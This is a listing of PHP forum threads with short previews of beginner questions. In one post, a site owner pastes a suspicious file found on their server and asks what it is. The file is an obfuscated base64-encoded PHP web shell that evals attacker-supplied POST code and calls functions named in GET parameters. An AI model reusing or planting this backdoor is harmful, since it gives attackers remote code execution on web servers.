38,023 Topics

Member Avatar for
Member Avatar for bflack

I've created this function and I wonder if ever I COULD USE VARIABLES IN reading column values on database table. [CODE] function vote($column, $imgid)//the $column stands for a variable handling a string I've passed from my previous call. For now I am setting it as a string named "likes" which …

Member Avatar for scaiferw
0
125
Member Avatar for programmer12

Hi I created some codes to upload my videos on the website, but for some reason it stopped working. Can Someone please help me debug the issues thanks! [CODE]<?php $username = "root"; $password = ""; $hostname = "localhost"; $database = "name_of_database"; $db = mysql_connect($hostname, $username, $password); mysql_select_db($database, $db); $path = …

Member Avatar for veedeoo
0
163
Member Avatar for sess4561

hi guys, how are you? I hope someone can help me with this as its been bugging me all day, and I'm sure there is a very simple explanation. Basically, what I have at the moment is this:- [CODE] $ip = ($_SERVER["REMOTE_ADDR"]); $xml = file_get_contents("http://xxxxxxxxxxxxxx); [/CODE] This returns me the …

Member Avatar for veedeoo
0
181
Member Avatar for whit89

Im trying to compare an entered value in a drop down box to see if an asset is available for use. At the moment its is From - Duration - Could i be better with From - To- Which would be easier to implement. Ive attached what i have so …

Member Avatar for diafol
0
262
Member Avatar for whit89

how would i go about filling one multi-select box with the result of a previous one [CODE] <select value ="cars" name="cars[]" multiple="multiple"> <option value="">-- Select software type / Optional / --</option> <option value="suv" >web</option> <option value="sports" >design</option> <option value="utility" >misc</option> <select value ="cars" name="cars[]" multiple="multiple"> $option .= '<option value="">-- CARS--</option>'; …

Member Avatar for whit89
0
128
Member Avatar for himanshu.1691

I am using a page where rows get fetched from database... now what i want to do is open a new link for each row... you will understand it when you see the screenshot....i have attached it.... I want to somehow redirect the link to other page with the value …

0
58
Member Avatar for mackyflores

[ICODE]Help me please. I want to display specific data from the database. i dont know what is the code. For example: in the database of reservation. I want to display only the name, address, contact number, company, and the details of his/her reservation. please help me guys. thanks a lot. …

Member Avatar for sDJh
0
77
Member Avatar for programmer12

Hi, I am designing a E-commerce site. I have designed a way for the customers to view their previous orders, but for some reason there is a problem. The codes that you see below work but the while loop keeps stopping at 2 items when there should be more. Can …

Member Avatar for programmer12
0
191
Member Avatar for shamed

Hello, I have this multiple checklist and I cannot figure out how to enter the checked values into the database. The table is called "colors" and the column name is "color" and is of type "text". add_color.php [CODE] <?php // connect to database require "mysql_connect.php"; ?> <?php // get value …

Member Avatar for pritaeas
0
121
Member Avatar for swilliamrobert

Hai, I downloaded and install sugar crm in my localhost.Inside the folder there is soap.php. when i run the file, all functions and wsdl file there. I want to create on soap client and access the WSDL url using my localhost. this is WSDL file URL( http:/localhost/scrm/soap.php?wsdl ) I want …

Member Avatar for pritaeas
0
240
Member Avatar for slyme

I found a file called 4be7.php in the root of my web site. I guess my first worry is how did it get there? Well, I've changed my FTP log on, what else can I do? Secondly, what is it? Here's what's in it: [CODE]<?php //176e622a9e272282a4a56a9100f5b75d $_= //ppZiAAS8dDJF9Q*(#_+@#TWyJ 'Ci8qKgogKiBAdmVyc2lvbiAyLjYKICoKICovCmlmIChpc3NldCgkX1BPU1RbImFjdGlvbiJdKSkKewogICAgICAgIHN3aXRjaCAoJF9QT1NUWyJhY3Rpb24iXSkKICAgICAgICB7CiAgICAgICAgICAgICAgICBjYXNlICJ0ZXN0IjoKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgInJlZ3VsYXJfdGVzdCI6CiAgICAgICAgICAgICAgICAgICAgICAgIHJlZ3VsYXJfdGVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgIm1haWwiOgogICAgICAgICAgICAgICAgICAgICAgICBzZW5kKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgIHJldHVybjsKfQoKaWYgKGNvdW50KCRfR0VUKSA+IDApCnsKICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkaWQgPT4gJGNvZGUpCiAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKCRpZCA9PSAiaWQiKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAkY29kZSgpOwogICAgICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm47Cn0KCmZ1bmN0aW9uIHRlc3QoKQp7CiAgICAgICAgJGVuY29kZWRfZGF0YSA9ICIiOwoKICAgICAgICAkZGF0YVsidmVyc2lvbiJdID0gcGhwdmVyc2lvbigpOwogICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlsiU0VSVkVSX1NPRlRXQVJFIl0pKQogICAgICAgIHsKICAgICAgICAgICAgICAgICRkYXRhWyJzZXJ2ZXJhcGkiXSA9ICRfU0VSVkVSWyJTRVJWRVJfU09GVFdBUkUiXTsKICAgICAgICB9CiAgICAgICAgZWxzZQogICAgICAgIHsKICAgICAgICAgICAgICAgICRkYXRhWyJzZXJ2ZXJhcGkiXSA9ICJOb3QgQXZhaWxhYmxlIjsKICAgICAgICB9CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBwaHBpbmZvKDgpOwogICAgICAgICRkYXRhWyJtb2R1bGVzIl0gPSBvYl9nZXRfY29udGVudHMoKTsKICAgICAgICBvYl9jbGVhbigpOwogICAgICAgICRkYXRhWyJleHRfY29ubmVjdCJdID0gZm9wZW4oImh0dHA6Ly93d3cueWEucnUvIiwgInIiKSA/IFRSVUUgOiBGQUxTRTsKICAgICAgICAkc2VyaWFsaXplc19kYXRhID0gc2VyaWFsaXplKCRkYXRhKTsKICAgICAgICAkZW5jb2RlZF9kYXRhID0gYmFzZTY0X2VuY29kZSgkc2VyaWFsaXplc19kYXRhKTsKICAgICAgICBlY2hvICRfUE9TVFsidGVzdF9tZXNzYWdlIl0gLiAkZW5jb2RlZF9kYXRhOwp9CgpmdW5jdGlvbiByZWd1bGFyX3Rlc3QoKQp7CgogICAgICAgICR0byA9ICJhaXJAZXhhbXBsZS5jb20iOwogICAgICAgICRzdWJqID0gIlNVQkohIjsKICAgICAgICAkbWVzc2FnZSA9ICJFSExPIjsKICAgICAgICAkcmVzID0gbWFpbCgkdG8sJHN1YmosJG1lc3NhZ2UpOwogICAgICAgIGlmKCRyZXMpCiAgICAgICAgewogICAgICAgICAgICBlY2hvICRfUE9TVFsidGVzdF9tZXNzYWdlIl07CiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAgICAgICAgIGVjaG8gc3RycmV2KCRfUE9TVFsidGVzdF9tZXNzYWdlIl0pOwogICAgICAgIH0KfQoKZnVuY3Rpb24gc2VuZCgpCnsKICAgICAgICAkY29kZSA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJwcm9qZWN0Y29kZSJdKTsKCiAgICAgICAgZXZhbCgkY29kZSk7CiAgICAgICAgLy9yZXR1cm47Cn0K'; //ppZiAAS8dDJF9Q*(#_+@#TWyJ …

Member Avatar for slyme
0
249
Member Avatar for pras0784

Hi friends, I have installed event calendar plugin on my [URL="http://www.totalnetworkingandconsulting.com/"]website[/URL] I started facing problem since yesterday. If I deactivate this plugin then I can see all pages fine over my website but if I activate the plugin, then each page is showing blank calendar page. each URL is showing …

Member Avatar for pritaeas
0
103
Member Avatar for anthonyjpv

Hi! Part of my website development is being able to recover a password and upon reading the owasp page i found out that the best one is having a temp password and an expiration my customers table doesnt have a date column nor temp pw column do I have to …

Member Avatar for anthonyjpv
0
168
Member Avatar for shaqib

i want to monitor, stop and stop a service. but cant get a clue hot to do that. the monitor is ok by using this code: <pre><p></p> <span class="style1"><b>Service asterisk:</b> </span> <?php system("/var/www/html/cam/mysql.sh"); ?></br> </pre> and in the file services.sh service mysql status i have also use: <?php $mysql = …

Member Avatar for rch1231
0
187
Member Avatar for SQLpower

For example, I have a form that passes the username, the year of birth and the password. Is there anyway I can retrieve information from the database(using an SQL query) if the user is an admin and then convert it to a $_SESSION['admin'];? How can I retrieve additional information about …

Member Avatar for SQLpower
0
2K
Member Avatar for subrata_ushasi

Hi, I have one text box and one submit button.What I want is ,if I enter value in text box and press submit one by one that will echo on the form .

Member Avatar for subrata_ushasi
0
151
Member Avatar for fabzster

Hi We have a competition running that I would like to automate getting the results with PHP from my MYSQL DB. I can run a query on the Database to get the following results Consultant1 20 sales Consultant2 10 sales Consultant3 5 sales Consultant4 1 sales Consultant5 3 sales Consultant6 …

Member Avatar for fabzster
0
298
Member Avatar for bavenbabu

I am new to php...I wanna to show a loading image when the page is loading something in php...any help would be appreciated

Member Avatar for diafol
0
121
Member Avatar for bavenbabu

i am a new to php.i am having a trouble that whenever i typed a wrong username in the textfield the field goes blank after its submission...I need the field values there such i need not want to insert the textfield value again.so how can i avoid such problem...i appreciate …

Member Avatar for bavenbabu
-1
111
Member Avatar for Soben

I want to make a simple online multiple player cards game using PHP/Ajax. I guess I need socket programming (I want it to be real time). I've worked with sockets before in Java, but not for an online program, just a network game. I searched but I didn't really find …

Member Avatar for pritaeas
0
151
Member Avatar for fredy91

hy all, I have table that here contain a blob type, I wanna make this blob can be downloaded as zip file. I have idea to put it into temporary directory but I don't know how I can print/put that blob data type into temporary directory. Do my idea right? …

Member Avatar for pritaeas
0
32
Member Avatar for bavenbabu

I am using php to list out categories for a particular item while making blog.But i am listing out all the categories which are present in database in the list.I created a category table in my database.my code is listed as follows: [CODE] <?php include 'connection.php'; $list ="select name from …

Member Avatar for diafol
0
103
Member Avatar for Cyre

Hi There! Can you please help me with this. On the first page of my page I created a Textbox named="Student", on the second page I just $_POST its name and the value goes through the textbox and now I wanted to show it Again on the Third box, I …

Member Avatar for mohamedasif18
0
132
Member Avatar for bavenbabu

I had a category named movies,gadget.I want to display subcategories of each category in php.movies contain subcategories like new release,upcoming movies,songs and gadget contains subcategories like pc,mobiles.I want to display each category and its subcategories on the same page while clicking on category title.I created databases for each categories.Any help …

Member Avatar for mohamedasif18
0
67
Member Avatar for Mykybo

Hi, I am new to php, and I need to do multiply image upload. Right now I have single image upload which is not working.., so any adive would be appreciated. Here is part of form I use for image upload: [CODE] <i>Vyber obrázek:</i> <input type="file" name="imagefile" /> <br /><br …

Member Avatar for Mykybo
0
139
Member Avatar for bo0ga

Note: I'm very new to everything so please bare with me. Say I have a form on a website which asks for your first name, last name, and email address. Upon clicking submit, I want the data to be transferred and saved to a Microsoft Access Database. How do you …

Member Avatar for bo0ga
0
118
Member Avatar for patrick1981

I a form page in an iFrame that when a user submits it brings up a thank you page. But when the thank you page loads, because the initial form page is long users don't get to see the thank you message on the thank you page. So what I …

Member Avatar for diafol
0
110
Member Avatar for leechang.kevin

hi, another question here. i'm a beginner at php and i need a php script to automatically retrieve data from a database and fill in a form. all the data is in the database and I already have a script to search and return the results. I just don't know …

Member Avatar for IIM
0
116
Member Avatar for afrogfx

I'm Beginner. I need help, please. I am having a small problem in the script I am have in this script ( admin folder) Add contain articles (This page is working to add threads only) My problem in the Page (read_mor.php) i make a query with the database to bring …

Member Avatar for afrogfx
0
6K
Member Avatar for vlowe

hey, please help me sort this data out. Array ( [0] => Successful response for: set username [1] => Successful response for: set password [2] => Successful response for: set server [3] => Successful response for: services [4] => State Notification acquiring-network [5] => Successful response for: sign-in [6] => …

Member Avatar for vlowe
0
119

The End.